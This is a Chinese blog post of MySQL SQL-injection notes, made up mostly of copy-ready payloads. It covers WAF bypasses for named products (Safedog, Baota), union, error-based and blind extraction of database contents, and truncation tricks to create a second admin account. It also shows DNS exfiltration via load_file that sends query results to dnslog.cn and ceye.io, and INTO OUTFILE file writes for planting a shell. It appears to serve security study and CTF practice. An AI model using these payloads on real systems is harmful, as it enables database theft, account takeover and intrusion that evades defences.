0x13.mysql注入

发布时间 2023-12-26 18:45:46作者: TrasoOn3r

基本判断

  • 定义:后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

  • 常见组合:

    • asp+access/sqlserver
    • aspx+sqlserver
    • php+mysql
    • jsp+mysql/sqlserver/oracle
  • 静态与动态:

    • 判断方式:document.lastModified,输出现在的时间,则为伪静态。或者直接将html改成jsp、php、asp
  • 常见注入点:

    • 文章的id
    • 用户id
    • 搜索框
    • 登录框
    • xff
    • cookie等
  • 是否有注入?

    首先:

    • 字符:','),'"
    • 数字:id=18-0页面正常,id=18/页面不正常

    其次:

    • and 1=1 页面正常 and 1=2 页面内容消失
    • or/and sleep(5) --+ 检测时间注入
    • and (select 1 from(select sleep(5)))
  • 注释

    • %23
    • --+(+在mysql中代表空格)
  • 空格

    • /**/
    • %20
    • %0a
    • %a0
  • 简单绕过

    • %%%0a(多个%,代替空格,西部)
    • id=123 an%%%d 1%%=%%1(%截断关键字,或者用/**/截断,宝塔)
    • 安全狗:?id=1 and 1=1会被拦截------>fuid=123/*&id=1 and 1=1&bid=123*/,加了两个原本不存在的参数。/**/注释是给安全狗看的,安全狗认为有fuid这个参数,而且安全狗不会拦截被注释的东西,安全狗就会放行。然而服务器并不会识别fuid,最终就会把注释中的id拨开来,带入到数据库查询
    • get和post的转换
    • 大小写,双写
    • url编码
  • 防御

    • 写代码时,执行sql查询的语句中,将拼接上的可控变量用双引号包裹
    • 将接受的id强制转换成数字类型

注入

常见的注入有BEUST:

  • B:bool
  • E:error
  • U:union
  • S:stack
  • T:time

长字节截断注入

限制条件:

  • 管理员和普通用户在同一个表中
  • 用户名字段长度有一定限制,比如长度为10个字符

使用:

  • 普通用户注册名称的时候可以设置成admin+++++++++++++++++
  • 使其长度超过字段限制的长度,会自动截断,变成admin
  • 这样数据库中又增加了一个admin账号

宽字节注入

php5.2.17默认开启,php5.3.0起默认关闭,php5.4.0移除

原因:魔术引号,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。

注入限制:适用于gbk编码,对utf-8不起作用。window+gbk,linux+utf-8这两个是常见搭配,所以宽字节注入对linux一般不起作用

使用:

  • id=1%df%27
  • sqlmap.py -u “cracer.com/xx.php?id=1” --risk 3 --dbms=mysql -p username --tamper unmagicquotes.py -v 3

Union注入

  • 思路:order by获取表数--->union select查看回显点--->爆库-->
#爆库名
database()

#指定数据库,爆表名,hex了库名
id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,(select group_concat(table_name) from information_schema.tables where table_schema=0x66666),13,14,15

#指定表名,爆列名,只改了三处
id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,(select group_concat(column_name) from information_schema.columns where table_name=0x777777),13,14,15

#查数据
id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,group_concat(username,0x5c,pass),13,14,15 from this_is_flag

报错注入

前提:数据库开启报错提示

报错注入只能读取32位,当读取md5加密的密码时,结合mid使用

常用payload:

1.floor()
id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
2.extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
3.updatexml()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
4.geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b))
5.multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b))
6.polygon()
id=1 and polygon((select * from(select* from(select user())a)b))
7.multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b))
8.linestring()
id=1 and linestring((select * from(select * from(select user())a)b))
9.multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b))
10.exp()
id=1 and exp(~(select * from(select user())a))

完整过程,以extractvalue()为例

#爆数据库名
id=33 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))
#爆表名
id=33 and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x66666),0x7e)))
#爆列名
id=33 and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x777777),0x7e)))
#查数据,mid,substr,left,right等函数
id=33 and (extractvalue(1,concat(0x7e,(select concat(0x7e,length(flag),0x7e) from flagsss))))
id=33 and (extractvalue(1,concat(0x7e,(select flag from flagsss),0x7e)))
id=33 and (extractvalue(1,concat(0x7e,(select mid(flag,30,10) from flagsss),0x7e)))

盲注

常用payload:
1';IF((select+host_name())+!=+(select+@@SERVERNAME))+WAITFOR+DELAY+'0:0:5'--t  //延时
1';IF((select+host_name())+=+(select+@@SERVERNAME))+WAITFOR+DELAY+'0:0:5'--t

0'XOR(if(now()=sysdate(),sleep(3),0))XOR'T
if((length(database())=8),5,0)        //判断数据库长度,在sleep()的参数进行替换
if((mid(database(),1,1='y')),5,0)
if((substr(database(),1,1)>120),5,0)  //数据库首字母
  • bool盲注

    模板:and if(substring((PAYLOAD),1,1)='第一个字母',1=1,1=2);

    例子:and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1=1,1=2);

  • 时间盲注

    模板:select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (延时函数) else 1 end)x);

    • sleep:select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then sleep(5) else 1 end)x);
    • benchmark:select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (select benchmark(10000000,sha(1))) else 1 end)x);
    • 笛卡尔积:这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。
    SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
    
    套模板:
    select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (SELECT count(*) FROM information_schema.columns A, information_schema.columns B) else 1 end)x);
    
    • if:

      模板:and if(substring((PAYLOAD),1,1)='第一个字母',sleep(5),1);

      例子:id=1 and if((substr(select user(),1,1)='r'),sleep(2),1)

    • case:

      模板:case when(条件语句) then sleep(5) else 1 end;

      例子:and (select 1 from(select case when(ord(substr(database(),1,1))=105) then sleep(5) else 1 end)x) or '1'='1

dns注入

通过把我们的结果当作我们的域名的前缀传回 ,主要是利用load_file这个函数。

条件:

  • 管理员权限
  • secure_file_priv(如果为NULL,不允许输入输出;如果为空,允许)
  • windows
payload:
and select load_file(concat('\\\\',database(),'.xw2elk.dnslog.cn\\abc'));
0'XOR(select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')))XOR't

读写文件

根目录

  • select @@basedir读取mysql安装路径
  • 一般mysql和apache在同一级,如mysql在d:/phpstudy/mysql,那apache可能在d:/phpstudy/apache/conf/httpd.conf
  • 在apache的配置文件中找根目录

windows 写文件

条件:

  • root
  • secure_file_priv 要为空(或指定路径为我们可以访问到的)
  • 魔术引号关闭(php5.2.17开启,5.3以后是关闭的,5.4移除)
SELECT 'XXXXXX' INTO OUTFILE '路径';
SELECT 'XXXXXX' INTO DUMPFILE '路径';  // 一般用于写二进制数据

windows 读文件

条件:

  • root
  • secure_file_priv 要为空(或指定路径为我们可以访问到的)

linux 写文件

实战中基本上写不进去

条件:

  • root
  • secure_file_priv 为空 或者要写入的文件夹刚好是secure_file_priv的特定文件夹
  • 写shell的文件夹必须为777
  • 文件大小: 必须小于max_allowed_packet
  • 魔术引号关闭(php5.2.17开启,5.3以后是关闭的,5.4移除)

linux 读文件

条件:

  • root
  • 可读